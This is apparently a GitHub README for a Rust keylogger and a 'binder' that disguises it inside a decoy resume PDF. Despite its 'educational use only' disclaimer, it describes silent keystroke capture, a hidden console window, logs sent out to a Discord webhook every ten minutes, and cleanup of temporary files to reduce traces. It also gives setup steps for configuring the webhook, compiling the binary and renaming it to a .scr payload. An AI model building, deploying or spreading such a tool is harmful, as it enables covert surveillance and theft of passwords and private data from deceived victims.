🦀 Rust Keylogger & Binder (Educational Use Only)

🚨 DISCLAIMER: This project is for educational and ethical hacking training only. It is intended to help red teamers, blue teamers, and cybersecurity learners understand the mechanics of keyloggers and stealth payload delivery techniques. Do not run this on any system you do not own or have explicit permission to test. Always use isolated virtual machines or lab environments.

📚 Overview

This repository contains a complete Rust-based keylogger and a stealth delivery binder simulating a real-world attack scenario. The purpose is to demonstrate how a seemingly harmless file (like a PDF) can be used to drop and execute a keylogger in the background.

The project is split into two components:

Keylogger (main.rs)
- Captures keystrokes silently.
- Sends logs to a Discord webhook every 10 minutes.
- Hides its console window.
- Designed to simulate persistent, low-noise keylogging behavior.
Binder (binder.rs)
- Bundles the compiled keylogger with a decoy PDF file.
- Executes both: the real PDF (decoy) and the keylogger (.scr).
- Deletes temporary files after execution to reduce footprint.

📂 Project Structure

Keylogger/ ├── src/ │ ├── main.rs # Main keylogger logic │ └── bin/ │ └── binder.rs # PDF + SCR binder ├── assets/ │ ├── resume.pdf # Decoy PDF │ └── win_payload.scr # Keylogger executable (renamed) ├── config/ │ └── webhook.url # Your Discord webhook URL (plaintext) ├── Cargo.toml ├── README.md └── target/ # Cargo build output

⚙️ Requirements

Rust (latest stable recommended) → Install Rust
Windows machine or VM
Discord account for receiving webhook logs
PDF file to use as decoy (already provided, named sample.pdf , in assets directory)

🔧 Setup & Compilation

1. Clone the Repo

git clone https://github.com/yourusername/rust-keylogger.git
cd rust-keylogger

2. Set Up Your Webhook

Inside the config/webhook.url directory, replace your webhook address (ex , Discord , Telegram , ...):

  https://discordapp.com/api/webhooks/<YOUR_DISCORD_API>

The Rust code reads this file at compile time using:

3. Compile the Keylogger Binary

cargo build --release --bin keylogger

Rename the resulting file:

mv target/release/keylogger.exe assets/win_payload.scr

2.5 KiB Raw Blame History